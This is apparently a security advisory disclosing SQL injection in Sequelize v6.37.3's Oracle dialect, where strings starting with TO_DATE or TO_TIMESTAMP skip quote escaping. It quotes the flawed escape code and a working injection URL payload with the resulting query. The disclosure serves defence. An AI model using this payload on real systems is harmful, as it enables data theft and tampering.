Summary
Sequelize: SQL Injection (Oracle DB)
Details

Summary

SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.

Details

The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.

  } else if (dialect === 'oracle' && typeof val === 'string') {
    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
      return val;
    }
    val = val.replace(/'/g, "''");
  }

PoC

Suppose the application has the following code:

  var result = await models.Student.findOne({
    where: {
      firstName: req.query.firstName
    }
  });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;

Impact

Data theft and tampering.
